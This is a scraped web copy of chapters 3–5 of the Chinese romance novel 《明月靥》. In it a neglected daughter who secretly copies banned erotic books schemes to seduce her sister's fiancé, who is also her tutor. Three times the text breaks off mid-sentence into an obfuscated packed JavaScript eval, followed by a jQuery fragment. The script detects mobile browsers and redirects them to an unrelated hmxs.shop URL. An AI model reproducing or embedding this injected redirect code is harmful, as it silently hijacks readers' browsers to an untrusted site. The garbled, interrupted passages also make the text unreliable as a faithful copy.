《明月靥》 3. 003 翌日,明靥起得很早。 前去毓秀堂的马车已早早备下,她来到前院,明谣恰恰自鸣玉阁走出来。二人一路无言,只是待马车将要停落在毓秀堂前时,明谣又出声,就百岁图之事,不着痕迹地“提点”了她一番。 身前,一袭素衣的少女眉目低垂着,忍气吞声地应下。 明谣轻哼了一声,走下马车。 甫一落地,周遭便响起一片奉承声。 明靥也提着裙角走下来,于她正前方,几名贵女拥簇着她那眉飞色舞的长姐,口口声声夸赞着明谣的画功。几人正热络攀谈着,忽然有人话锋一转,开口道: “诶,那不是应家的马车吗?” 紫黑相间的车帷,正与应琢归京时所乘坐的马车一模一样。 果不其然,一提到应家,明谣立马移过视线。 只见那马车正停在明理苑外,与毓秀堂仅有不过两个车身的距离。 这明理苑与毓秀堂,皆是盛京出名的学府,两者一墙之隔,不同的是,明理苑招收的都是家世显赫的男学子,毓秀堂则是为盛京内的名门闺秀而设。 众人议论间,明靥听见,今日应琢的马车停在此处,是圣上所派遣。 这段时日,忙完政务之余,他给明理苑的诸位学子们授课。 趁着无人留意,明靥低声唤来盼儿。 她悄声:“你回府一趟,我屋中正门后,放了一柄青绿色的骨伞,你去替我将它取来。记得越快越好,千万莫惊动了旁人。” 那是当日百花宴上,应琢让给她的伞。 这些天,明靥一直在寻一个由头,借着还伞之名,再见一见她这个姐夫。 - 毓秀堂每两个月一次小测,四个月一次大测。大测小测综合评定,未通过的学子将会被遣返归家。 而此次小测,台上赵夫子缓声道,命众人据《怀玉赋》写一篇《怀玉赋注》,三日后呈上批阅。 怀玉赋? 台下响起几声私语。 明靥知道她们在讨论什么。 应琢虽是武臣,却文采斐然,这篇《怀玉赋》正是他十二岁时名动盛京之作。也正有这一由头,此次圣上委派他前去明理苑讲学。 明靥缓缓垂眸。 百花宴过后,为了接近应琢,她已提前熟背《怀玉赋》。 不光如此,她对应琢的家世、品性、喜好也琢磨得一清二楚。 他极孝顺,父亲在早年离世,如今家中长辈还剩下奶奶、母亲和二叔。 除此之外,应琢还有一个十五岁的妹妹。 年纪轻轻位极人臣,却极厌恶结党营私之徒。他为人正直,为官刚正,是朝堂上的一股清流。 明靥越往下了解,越发现。 她这个姐夫,果真是一个清风霁月般的正人君子。 书卷摊开,墨香入肺。熹微晨色淡淡,明靥不动声色地望向斜前方。 那里正坐着她的长姐明谣。 对方头上正簪着那支太后娘娘赏赐的花簪,藕粉色的簪身,正是娇艳欲滴。 明谣不知,应琢喜青白,不喜娇艳妍丽之色。 不知应琢喜静,府邸阁楼的选址都清净异常。 不知应琢有胃疾,平日鲜少在宴会上饮酒。 不知应琢喜欢在温书时点上安人心神的沉水香。 不知应琢喜欢在闲暇之余上山猎马,带着一整天的猎物满载而归。 …… 没关系,明靥笑笑。 她知道。 - 是了,她便要以明家嫡女的身份接近应琢。 故而这些天,她特意花了些小手段,去打听对方的喜恶。 明萧山疼爱明谣,明家上下又将这一场婚事看得至关重要。 明靥右手紧攥着笔杆,心中阴暗地想。 倘若自己先人一步,折下应知玉这朵高岭之花呢。 到时候,发疯的是明萧山,郑婌君。 还是趾高气昂的明谣? 她这不是抢,是拿回。 正思量着,她不觉间竟将应知玉这三个字写了满满一页纸。 明靥猛然回神,匆匆将整张纸揉皱。 浓黑的墨将白纸浸透,她垂眸,重新抚平新页,郑重其事地落下——怀玉赋注。 不知不觉,日头西斜。 台上,赵夫子道了句下学。 平日里,都是明谣独乘归家。她则时常留在毓秀堂里,或是温书研学,或是替主家抄书做工。 而不与她同坐一辆马车,明谣也乐得高兴。毕竟在她眼里,与这个不受宠的“妹妹”待在一处马车之内,是一件极自降身份之事。 众学子渐渐散去,不知不觉间,偌大的屋中唯余下明靥一人。 她先将今日的抄书誊抄完毕,而后重新抽出那张只提了扉句的《怀玉赋注》。略微思索一阵,明靥将东西都收拾好,快步朝大门外走去。 应琢的马车还在,即是他人还在明理苑内。 见状,明靥便耐心地在树荫底下等着。等到金乌欲坠,原本热闹的学堂渐渐安静下来。 “啪嗒”,明理苑倒数第二盏灯灭。 有三两学子相伴,谈笑着走出学堂。 偌大的书院,只余一盏孤灯。伴着夜幕渐沉,那一盏明灯显得愈发清寂。 明靥走近些,借着烟煴的灯色,依稀可见房中那一道清俊的人影。 她确信——那人正是应琢。 男人坐在桌前,伏案批阅着什么,一盏孤灯静静笼罩着他的身形,周遭是一片安然静谧。 明靥理了理裙衫,深吸一口气。 “噔、噔、噔。” 叩门声响打破寂静。 应琢声音淡淡:“请进。” 他以为是哪名学子去而复返,抬头看见明靥的一瞬,他明显愣了愣。 明靥从身后取出那柄伞。 她微低着头,一副恭顺之状。 “阿谣前来道谢,还有……前来还这把骨伞。” “道谢不必,那日也是在下多有唐突。” “定是要谢的,多谢那日公子解围之恩。” 少女声音柔软。 正说着,她将骨伞放至房门边。 “啪嗒”一声,廊檐上积水坠地,砸至明靥裙脚边。 浅浅的水洼,倒映出一段纤瘦的身形。 应琢也是伏案了少时,才发觉她未曾离去。 “还有什么事吗?” 他抬眼,耐心地等着她的回答。 “学生适才研习,偶遇困惑,百思不得解,故而冒昧前来。” 明靥方走近两步。 果不其然地,嗅到一道浅淡的沉水香。 说也奇怪,这般安神的香味,混杂着书卷墨香,竟也不使人感到疲倦。 应琢就这般一身清爽地坐在桌案前,闻言,看了一眼她手中的书卷。 片刻,对方略微沉吟:“赵夫子已下学了吗?” 明靥愣了愣,反应过来。 她笑:“应公子难不成只教明理苑内之人,不管毓秀堂的学生了么?” 灯色笼罩着,座前男子神色稍顿。 明靥知晓,他这是避嫌。 应琢似乎在刻意避让着,不与她私下接触。 即便二人有婚约加身,又有师生之名。 果不其然,此一句落,应琢眼睫动了动。 须臾,他淡声:“是对哪里的功课不解?” 明靥自然而然地在桌前坐了下来。 今日的功课只剩下那篇《怀玉赋注》,但她知晓应知玉的脾性,对方定不会做出那等徇私之事。于是她便想着,再从书卷中随意抽出一篇功课来。 如此思量,明靥右手探入那一沓书卷纸张。 她本想取出前日赵夫子留下的课业小测。 谁知,手指方攥握住那两张卷纸,包内的书籍忽然脱了力,于这顷刻之间,窗课之下的纸张忽然哗啦啦落了下来。纷纷然然地,坠在二人脚边。 低头只看一眼,明靥立马感到头昏。 其上白纸黑字,赫然是她为主家誊抄的…… 呃。 禁书。 身前之人下意识弯身。 对方的手比她快,男人手指修长,率先拾起坠落在地的纸张。 他清淡的视线扫过,只一眼—— 明靥脑袋里面“嗡”了一声。 她不敢去抢夺,更不敢去看应琢。 是了,她一直在替主家誊抄禁书赚银钱。 所谓禁书,自然是黄之不能再黄之书。三行一个新姿势,两页一个新人物。市面上严禁印发,她便替主家誊抄散布。 在明靥看来,罔论黄书红书,只要能赚银钱为阿娘治病的,都是好书。 人有七情六欲,需要看些愉悦身心的文字,这些都是很正常的事。 嗯,都是很正常的事。 对吧。 明靥余光见着,身前之人明显愕了一瞬。不堪入目的黑字就这般撞入眼前这个正人君子的眼帘,应琢眸光顿住,半晌—— 明靥瞧见,对方抬起头,朝自己望了过来。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965740|193366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼神下意识躲闪。 有晚风拂过男子的衣袖,微沉的凉风,混杂着清淡的沉水香。若是细闻,竟能嗅见其间几分兰花调。明靥垂眼,这才发现应琢的娟衫的袖口处缎了一株兰草缂丝。 幽兰生前庭,含熏待清风。 这句诗,她今日刚抄过。 此刻清风正巧掠过廊庑,吹带起一帘灯色。清光倥偬间,明靥瞥见对方面上略带尴尬的神色。 他薄唇轻抿起,手指捻着纸张。 眼神微带探寻,凝望向她。 明靥:…… 她该怎么跟身前这个小古董狡辩? 生计所迫? 还是,呃……兴趣使然? 她余光见着,应琢的耳根似是红了。 桌案上,银釭内火烛发出轻微一阵噼啪声响。明靥趁势,咬牙迎上对方深不见底的黑眸。 “这是舍妹的……功课。呃,应公子,你知道我有一个妹妹……” 她这也不算撒谎。 言罢,明靥才发现自己的话有多么漏洞百出。 ——纸页上的笔墨,分明是她的。 娟秀的簪花小楷,正与她窗课上的字迹如出一辙。 应琢淡淡应了声:“嗯。” 他记得。 明靥道:“这是她的东西。今日上学,这些纸张被我翻查了出来,你也知晓,身为她的长姐,我自是要劝诫她莫入歧途,于是将这些东西全部没收,暂、暂放于此处。” 她一面慌乱地说着,一面弯身,去拾起地上依旧散落的纸张。 夜风轻轻,微微吹掀她的衣领。 少女俯下身,领口低了一低,露出一截雪白的颈。 身前,男子不着痕迹地撤步,移开视线。 最后两张,在他手上。 明靥烧红着面色,伸出手。 应琢终于重新看向她。 男子长身玉立,站在原地,却未动。 更未将手上誊抄了禁书的纸张递给她。 明靥微微扬声:“应公子?” 应琢垂眼:“私自誊抄禁书,有违大曜律法。这些东西,还有你手里的,我都没收了。” 他虽如此道,声音却并不似赵夫子那般严厉。 此时此刻,他更像是一位温和的长辈,看着身前误入歧途的学生。 明靥正发着愣,手指间的纸张已被人轻轻抽走。对方转身走至炭盆处,捏着那满是污言秽语的誊纸,将其尽数置于火舌之上。 噼里啪啦的声响,火舌卷过其上字迹,不过登时,墨字化作一抔烬灰。 明靥来不及阻拦,暖黄色的浮光自眼底掠过。听着火舌吞噬的噼啪声响,她心中犹有针尖刺过一般,一面滴着血,一面在心中咒骂。 这可是她花了一整日,避开赵夫子,誊抄下的书。 送到主家那里,可是能换阿娘三天的药钱! 什么端庄君子。 她看应琢这分明就是个不近人情的小古董! 明靥瞧着那燃烧殆尽的纸页残骸,心已凉了半分。 像应琢这般高高在上的天之骄子,兴许是无法理解她的所作所为。 对方不能理解她,明明出身于钟鸣鼎食之家,却单单为了讨这一口生计,做那些令人所不齿之事。 是啊。 如若明家能给她与母亲多一分喘息的机会,她也想日日抄诵大儒名作,悟受墨宝熏陶。 所幸今日银釭中的烛火不甚明亮,摇曳的灯色,将她面上神情映照得并不真切。明靥眼瞧着对方袖口处那一株兰草,缠绕的藤蔓,在眼前忽尔被捋平成一道直线。锋利的线条缠绕着,好似下一刻,便要绕上她的细颈。 蓄意接近应琢,接近未来的姐夫,她犹如将全部身家性命,尽数置于这一根悬绳之上。 命悬一线。 放肆,危险,却又诱人。 借着夜色,她忍不住将身前之人从头到脚看了个遍。 他身姿颀长高挑,宛如青松。月华披身,泠泠的清光,愈显其清冷矜贵。 锦衣玉带,龙章凤姿,仪容过人。 从头到尾,每一处都是干净,漂亮。 竟像是禁书中所描述的“圣子”。 明靥记得,她誊抄过的那些桥段里,越圣洁无暇之人,就越要堕入泥土里,开出最淫.荡糜烂的花。 正思量间,她的耳旁忽然响起清越一声: “明谣。” “啊。” 明靥回过神。 应琢沉吟。 “你刚说,你要问我什么?” 4.004 喔,对。 明靥回过神。 她是要问应琢关于课业上的问题。 月色朦胧,透过微掩的扇牖,凝成浅薄的雾气。 应琢的面容,叫她看得不是很真切。 她只知对方正于身前站着,长身玉立,耐心等着她。 明靥低下头,略一翻找,终于抽出一份课业。 卷本边角打了些皱,少女将其抚平整,其上字迹工整,娟秀的簪花小楷,倒是十分赏心悦目。 明靥道:“应公子——” 窗外忽然刮来一阵大风。 “砰”的一声响,窗页摇曳,被冷风摔于一侧墙边之旁。也就是这一瞬间,猝不及防地,凌冽的夜风吹刮入门窗。呼啦啦地一阵——忽然,周遭黯淡下来。 银釭内灯芯骤灭,偌大的屋内,蓦地陷入一片黑暗。 明靥微惊,手指松了松。 她下意识朝应琢的方向躲去。 鼻尖撞上一个□□之物,手中的课业亦如雪花般飘落。黑暗间,有人出手将她护了护,隔着两层衣料,搀稳了她的小臂。 他的力道不重不轻,带着克制与分寸。 她后知后觉—— 适才自己撞上的,是应琢的胸膛。 自鼻尖传来钝痛,撞得她微微目眩,眼泪“唰”地流下来。 眼泪不是演的,更不是矫情。 她是真的疼。 一片黑暗中,情急之下,明靥抓住了对方的袖口。 那是一节极带有力量感的小臂。 攀扯间,她的手指穿过对方如云似的袖缎,绵软的布织,盛开着一束清丽的君子兰。恍然间,她仿若嗅到淡淡的兰草香。 与安谧的沉水香混杂着,纷发出令人沉醉的气息。 应琢低下头,看了她一眼。 见她无恙,男人似是松了一口气,转身要去点灯。 明靥回过神,未松手。 借着微弱的月色,她直勾勾盯向眼前之人。 湿漉漉的一双眼,眼神大胆游走于他周身。直到四目相对,她的手也迟迟未曾松开。 迎上对方的目色,少女软声: “老师,别走。” “我……害怕……” 夜风裹挟着清明的月色,映入少女那一双软眸中。原是清澈的杏花眸,此刻眼底却又掺杂了几分微雨拂过的雾气。应琢略一垂眼,只看见身前姑娘的手紧紧攥住他的衣袖。那是一只白皙、纤细的柔荑,许是因为惊惧,少女的指尖还轻微的打着颤。 男人步子顿住。 他抿了抿唇,眸光软了软。 明靥的害怕自是假的。 这般楚楚可怜的模样,自然也是装出来的。 这一招对于应琢很受用。 像他这般高风亮节的正人君子,平日里最喜欢做的便是路见不平伸张正义,以保护弱小之人为己任。这种强烈的、仿若与生俱来的正义感,令明靥笃定,对方绝不会袖手旁观。 果不其然。 他没有推开她。 男人神色动了动,须臾,他没有伸出手,只是略带僵硬地站在那里,似有几分不知所措。 他想要出声安抚,像是安抚着某种小动物。 乖巧的狸奴,淋雨的雀儿。 受惊的,无措的,可怜兮兮的小鹿。 书里讲,男人惯受用的,便是她这副楚楚可怜的模样。 尤其是,当面对一个漂亮女人时。 明靥眉头微颦着,“不经意”地靠入对方怀中。 不知是不是错觉,她感觉到,应琢的身体紧绷了一下。 他的怀抱宽大,胸膛很坚硬,当靠上去时,明靥能听见那一阵怦怦的心跳声。宛若遽然放大的鼓点,就这般拢入明靥侧耳,她右眼皮也突突跳了两跳。 紧接着,一双手得体地扶住她的小臂,将她的身形扶正。 夜色浓稠,明靥看不清身前此人当下的神情。 她只听见有人轻咳了两声,须臾,待她站定之后,对方又朝后退了半步。 他开口,轻唤: “明姑娘。” “明……” 烛火乍亮,映照出她红通通的一张脸。 “抱歉,学生失态了。” …… 回到湘竹苑,已经很晚了。 给阿娘喂罢了药,她独自伏于书案之上,燃起小小一盏烛灯。 今日应琢将她所抄的禁书全部撕毁,那时她不露情绪,代价却是回府后彻夜将应琢撕毁的那十几页尽数补上。是了,不补上这些页数她便无法向主家交差,不向主家交差她便拿不到相应的银钱。 余下的药,只够阿娘再喝四五天。 如此思量着,她轻轻叹息一声,于桌前正坐,将纸张铺开。 笔尖吸饱了浓墨,继而落笔。 明靥脑海里闪过的,却是黄昏时分学堂内的情景。 四下无人的暗室中,少女朝后退了半步。她微垂着眼,于此刻更添几许媚态。 片刻,她抿了抿薄唇,软声道: “学生冒犯。” “我知郎君理应避嫌,我现在、立马便走。” 正言道,明靥作势转身。却在转过身形的那一瞬,于心中暗自默数: ——三。 ——二。 ——一…… “明姑娘——” 明靥弯唇。 身后响起一声:“明姑娘误会了。” 男人眼帘微掀,神色清淡如常,仿若适才那暧昧之举只是一场幻象。可明靥却明明见着,对方原是白皙的耳根处,覆上了一层淡淡的、无法言喻的绯影。 极淡的绯色,淡得像是一片随时都能飘散的云。 令人攥握不住,也捉摸不清。 那时,学堂之内,他说了什么来着? ——“应某并非有驱逐之意,明姑娘一心求学,在下定愿意为姑娘讲解。除此之外,我这屋中还有许多古籍,都可供明姑娘翻阅。” 他说得落落大方。 少女眨眨眼。 她狡黠一笑: “应郎的意思是……日后,我可以随意出入这间房中——求学吗?” 明靥刻意加重声音,补上后三个字。 没料到她会如此说,应琢明显怔了一怔。 明靥见着,身前之人微微蹙眉,他似乎下意识想说出那声不妥,灯色烟煴着,拂面的晚风却将他的话语堵住。 末了,他终是轻轻点头。 “可以。” 呵,欲迎还拒。 男人都是这样矫情。 …… 一觉转醒,天光大亮。 昨夜她忙着抄书,今日醒来时时辰晚了些。 她起床晚了,明谣自然也未遣人前来喊她。对方便如此大摇大摆地兀自离去,待明靥再赶到学堂时,为时已晚。 不知是受了谁人打点,赵夫子也不大喜欢她。 对方正在台上讲课业,见明靥来,对方仅轻瞥了她一眼,便责她去门外罚站。 夏意未浓,小院内还有春花粲然,微风摇曳着,花香混杂着墨香扑面,倒还有几分令人心旷神怡的好闻。 明靥立在小院的青石径上,不大能听进去课业,便百无聊赖地四下眺望。当年她入毓秀堂念书,起初受到了继母与明谣的反对与阻挠,后来是父亲担忧此事传入旁人耳朵里,一来有损明家名誉,二来担心有人责骂他厚此薄彼,这才准许她与明谣一起入学。 虽是一同入学念书,明谣却一直觉得,她不过是自己的陪读丫鬟。 明谣有一个不太灵光的脑子。 明谣不聪明,也不勤奋,平日里课业大多是抄袭。便是连考试,明靥也由着对方抄。毕竟那时的她尚不懂得反抗,只知自己若是惹得这个姐姐不痛快了,明谣和郑氏便会让她与娘亲不痛快。 后来,明谣越来越得寸进尺。 无论是课业或是大小考试,甚至会与她更替署名,两人互换课业成绩。 明靥心中其实无大所谓。 每当赵夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970790|193366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子表扬“明谣”的课业时,明靥看着台上虚荣的长姐,觉得她像一只跳来跳去的花蚂蚱。 姐姐。 她在心中冷笑。 就这么想成为我啊。 好啊。 正思量着,陡然拂来一缕清风。阵阵的冷风,送来些许兰草香气。明靥适时地抬眸,恰见不远处应琢从廊庑上走过。他身姿高挑颀长,步履平稳,衣袂飘扬。 风拂过他的衣袖,男人双袂流云翻飞。 只一眼,明靥脑海里立马闪过一句——飘飘乎如遗世独立,羽化而登仙。 应琢身后还簇拥着几名学子,叽叽喳喳地,跟在应琢周围,似是在请教什么功课。 金质玉相的男人微微侧首,与之交谈。 真是一副好风景。 明靥心想。 应琢身上总是有一种出尘的气质,与周遭之人格格不入。 这几天,她不止一次地心想,若是自己真将这朵高岭之花攀折下来,明谣会是什么表情? 郑氏又会是什么表情? 不甘,嫉妒,愤恨。 就像这些年的她一样。 明靥冷笑了一声。 不知是不是错觉,她似乎感觉到,应琢朝这边瞥了一眼。 四目相撞,对方面色无波地收回视线。 片刻,他带着众人消失在转角处。 …… 待明靥坐回到明理苑的书房,时辰还尚早。 赵夫子今日下学得很早,恰巧给主家所抄的书页还有些未完成,明靥便依着应琢先前之言,前去了他的书房。 反正他之前说过,下学后皆可待于此处,查阅典籍、温习功课。 应琢既如此说,她也自然不会放过这样一个与之相处的好机会。 坐回桌案前,明靥先抽出几张课业,又将禁书压在课业之下。做好了掩护后,她这才提笔。 她今日所抄的,是《一枝梨花压海棠》这一卷。 笔者文风大胆露骨,抄着抄着,明靥竟觉得有几分耳热。她用手背拭了拭耳背,一转过头,恰看见应琢立在长廊之上。 他手捧着一卷书,似是路过。 “应郎——” 男人脚步顿住。 明靥假作慌张改口:“老、老师……” 应琢原本清淡的眼神,似是寂静的潭水被惊石打皱。一时之间,他无法退避,只得迎着那道目光走了过来。 微冷的风拂过他淡青色的衣袖。 檀影摇曳,她嗅见一缕极淡的兰香。 “今日怎的还被罚了。” 这一句话问得极随意,似是一阵风落在明靥耳畔,又悄然拂过她的耳垂。明靥垂下头,委屈道:“今日起来晚,被夫子责罚了。” ——都是因为你的未婚妻。 男人抿了抿唇,未评价。 须臾,他又开口。 “下午赵夫子送来了你们的课业,我看过你的,有些地方还有疏漏。” 对方犹豫了一下,还是在她身侧坐了下来。 应琢执起笔,目光触及窗课,温声:“这一页,有两个别字。” 明靥吐了吐舌头,立马纠正。 应琢手指捻着页角,又翻开一页。 “还有这部分,总体写得很好,但这一句话阐述得有些问题。” 他的手指修长,轻握住狼毫。浓墨登即流溢开,于宣纸上渐渐铺展。 应琢的字很漂亮,遒劲、潇洒、奔放。 与他本人温润的气质大相径庭。 明靥的目光却驻在应琢的手指上。 他的手指白皙修长,月色与灯色交织着、又坠于其上,那双手便如此沐浴在一片清辉之下,同他的字一样漂亮。 见她出神,男人眼帘微掀,轻轻责备:“专心。” 明靥:“噢。” 她用手托着脸,重新审视课业。 灯色烟煴着,少女垂眸于灯火之下,心中想的却是—— 这么漂亮的手指,牵起来一定很舒服。 5.005 正思量着—— “啪嗒”,极轻微的一声。 银釭内灯花落尽,恰在明靥抬手取课业之际,一寸燃烛飘摇,便如此不偏不倚地砸在少女手背上。 令人猝不及防的灼痛感,让明靥轻“嘶”了声,猛地收回手。 应琢迎过来。 “怎么了,可有烫伤?” 他语气关怀。 明靥:“还好。” 并未烫破皮,只留下了一道淡淡的红痕。 就是疼。 身侧之人立马递来一块干净的方帕,而后又起身。不过少时,他端来一小盆凉水。 明靥看了他一眼,将整个手背没入凉水中。 尚未将手背擦拭干净,对方又递来一盒药膏。 明靥愣了愣,“不必涂这个。” 手背只是烫出了一丁点儿红痕,又没破皮,也留不下疤。况且她也没有这么娇贵。 ——这是实话。 说起来,明靥总觉得自己有种很奇特的能力,每每郑氏用荆条抽她,无论是胳膊或是后背,无论是怎样鲜血淋漓的伤口。只要养上个把月,即便是没有那般珍贵的药膏,身上的伤痕总会轻而易举地消散。 明靥曾在心中自嘲,自己真是先天挨打圣体。 没处哭诉,没人撑腰,挨打时不哭不叫,挨打后不留一丁点儿疤。 她好像生来就是要受欺负的。 少女眼底掠过一道冷光。 “还是要涂的,”应琢淡声,“手上落了疤便不好了。” 漂亮的姑娘家,身上不敢落疤。 明靥抬起头。 “老师。” 黑夜中,她一双清眸明亮,眼尾微微作弯。 “原来您也这般怜香惜玉呀。” 应琢似是被她说得一噎。 男人话语顿了顿,尚不等他开口,明靥凑上前,趁势笑眯眯地问道: “老师,您也会这样关心其他学子吗?” “老师,您也会这样,私下里给其他学子补课吗?” “老师……” 应琢垂眼,“若是再没有旁的疑题,我便要回府了。” 他的声音清淡,夹杂着几分与世隔绝的疏离。 清冷冷的声音,伴着施施然的月色落在明靥耳畔。 嘁。 好不解风情。 少女撇了撇嘴。 她垂头,在应琢的监督下,将药膏涂抹仔细。末了,对方才重新伸出手,翻开她的窗课。 不知是不是错觉,明靥总感觉银釭所摆放的位置离自己远了些。 摇曳的火色,投落于漆黑的墙壁之上,烛火笼罩着,映衬出二人并肩的身形。 这是应琢今晚在她课业上所找到的第三处纰漏。 从前,她只以为应琢政务繁忙,前来明理苑授课也不过是应付之举。毕竟京城之中的达官贵人们,惯爱做的便是面子功夫,你应付我来我应付你的,再遣有心之人大作些文章,传到市井之中去,如此一个美名便算是做成了。 明靥从未料到,对待她的课业,应琢居然也能这般仔细。 她强忍着困意,假作乖顺,迎合着点头。 忽然间,院内响起脚步声。 那脚步声来得匆忙,急匆匆踏过庭院,听到那声响时,明靥快速与身侧之人对视一眼。 只此一眼,她从对方眼里,看到莫名的紧张。 桌下有缝隙之处。 几乎是不假思索地,明靥撩带起裙角,快速钻入。 滑入应琢膝前,男人身形明显一僵。 登即,有学子叩门。 “老师——” 应琢正色:“请进。” 如她先前闯入应琢书房中那般,他声音清和,却又不失严肃。 老师架子。 明靥在桌下轻轻揪了揪这小古董的衣摆。 应琢立马轻咳了声。 那名学生也是前来问窗课的。 对方不解,应琢耐心地讲授,明靥也在桌下揪着他的衣摆解闷儿,谁也不耽误谁。 应琢衣摆上的兰花很好看,上好的绸缎与织线,她只在明谣身上见到过。 家底殷实真好。 明靥心想。 出生在爹娘不偏心的钟鸣鼎食之家,真好。 她忍不住多摸了几把。 学子疑惑,终于开口问道:“老师,您为何一直咳嗽?” 是嗓子不舒服吗? 应琢抿了一口温水。 温水淌入喉舌,男人喉结略一滚动,月光落在那结实的喉结上,旋即,他清了清嗓。 桌下的明靥知晓——他这是在警告。 真凶。 明靥心想,如若不是明谣,她真不想搭理这小古董。 “嘎吱”又是一阵门响,待那学子问完习题离开后,应琢终于忍无可忍地将她从桌子底下提溜出来。 “明姑娘,”他顿了顿,“你摸够了吗?” 身前男人垂下眼,目光请冷冷的,带着几分长辈独有的厉色。 明靥舔了一下嘴唇。 她像小猫一般低下头,“老师,学生知错了。” “果真知错了么?” 应琢抽开其上的两张课业。 被它所压着的纸张登即如雪花般飘散,施施然落于明靥身前。 “这是什么?” 他拿起一张被誊抄得满满当当的白纸,问她。 其上一笔一画,都是她亲笔所誊抄。 娟秀的簪花小楷,正是她的字迹。 明靥脑子“嗡”地一响,心想,完了。 又被抓包了。 男人骨节分明的手指紧攥着那张写满污言秽语的白纸,面上掠过淡淡的失望。 “为何要藏着这些东西。” 明靥忍不住:“这些东西,难道不该藏着吗?” 应琢:“……” 他正色。 月光宛若琉璃,笼于他白皙的面上。男人眸色微凝,疏离而严肃的目光落在她身上。 他像一棵雪松,像一面明镜。端正坐在那里,澄澈,清寒,映照出她面上所有的尴尬与窘迫。 片刻,他取来戒尺。 长长的戒尺,只看一眼,她便开始发怵。 明靥撒娇般地求情:“老师~” 应琢声音清冷,没有分毫让步,“上次我已说过,下不为例。” “伸手。” 他道。 明靥吸了吸鼻子,不情不愿地伸了手。 “啪”地一声,戒尺落于掌心,力道不算重,但也不算轻。 但与郑氏的荆条相比,可算是好太多了。 一个是惩戒,另一个,则单纯是泄愤。 应琢收回戒尺,有几分恨铁不成钢地道:“明谣,我看过你近期的课业,你很聪明,一点就通,也很有潜力。” 正说着,对方翻开她的窗课——其上除了署名为“明谣”,旁的皆是她真实所作。 “你既向我求学,唤我一句老师,我便将你当作我的学生。美玉蒙尘是一件憾事,我希望你能将心思放在课业之上。” 夜风絮絮,将他的话语传入耳中。 ——美玉蒙尘。 明靥眸光闪了闪。 可惜啊老师,学生不是玉。 我只是一块像玉的石头。 不是明谣那般被众人捧在掌心的翡翠、明珠。 夜潮间,雾气恍然加重了些,湿濛濛的月色,将少女肌肤衬得愈发莹白似玉。 她垂下眼睫。 夜雾迷蒙,似在少女鸦睫处蒙上一层霜。 见状,应琢的神色与声音一下软了下来。 他重新握了握戒尺,又将长尺放下。清霜爬满其素色的衣袍,短暂的沉默过后,他试探着上前。 甫一靠近些,忽然,鼻尖传来一缕奇特的幽香。 那香气不冷不暖,也算不上是甜香,似是某些花草混杂的味道。香气幽幽,自少女外裳、颈项间传来,没入肺腑间,却又有几分湿漉漉的勾人。 是勾人。 香气在喉舌熏染,又在一瞬间迸炸开,不过顷刻,男人喉舌生烫,原先被她掌心摩挲过的地方也在这一刹那生痕。应琢微微蹙眉,却觉那香味愈来愈重,带着一种无可名状的侵.略感,逐渐吞噬着他的神思。 应琢抿了抿薄唇,道:“明姑娘。” 身前少女抬起一双微微湿润的眼。 “是我的话说重了,”他道,“明姑娘,你——” 话语问问一顿,他也垂眸,极轻地道:“莫哭了。” 似是一道极温和的春风拂至人面上。 明靥垂泪:“我从未被人这样责罚过。” 此一言,果真让对方面上又增了许多愧疚。应琢开始盘算起,自己适才是否太过于严苛。 身前少女声音婉婉,听上去楚楚可怜。 他犹豫少时,递来一方干净的帕子。 “老师。” 明靥吸了吸鼻子。 她原本就生得漂亮,如今一张瓷白的小脸上挂着泪痕与红晕,此时此刻,更显风情万种、媚态横生。 “是学生矫情。” 话虽是这么说,可那眼泪依旧如断线珠子一般扑淋淋掉着,看得应琢愈发不忍,他的神色也明显变得有几分慌张。 是了,虽说他是京城中不少贵女的春闺梦里人,但他也是自幼随父出征,平日里打交道的也都是些边关的糙汉子,回京之后更是泡在明理苑里,何曾与女子打过交道? 更何况,是她这等居心叵测的女子。 像他这样的“正人君子”,最见不得的便是女子落泪。 尤其那姑娘还是被他惹哭。 明靥知晓,此刻应琢心中,定是被强烈的负罪感所充斥。 少女声音软了软,如被雨水淋湿的漉漉的花瓣,眉眼低垂着,一如含着湿软的雾气。 应琢正色,瞧向她。 只听她婉声:“是学生矫情,在您面前失态了。” “可我从未……被人打过掌心。” 极轻的一声话。 应琢对上她的眸。 …… “啪嗒”一声,似有露水盈盈,自枝头滴落,无声没入人衣袖之间。 兰草沾露,水渍氤氲开。 明靥看见,他浓长的鸦睫,轻微颤了一颤。 只是轻微。 浓黑如墨的眸,此刻依旧平静,依旧不动声色。 半晌—— “伸手。” 灯火之下,应琢看不清少女掌心处的红晕,他抿了抿嘴唇,声音温和了些: “还疼吗?” 明靥咬着嘴唇点头,又立马摇头,装出一副可怜兮兮的模样。 ——他果然上钩了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975673|193366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 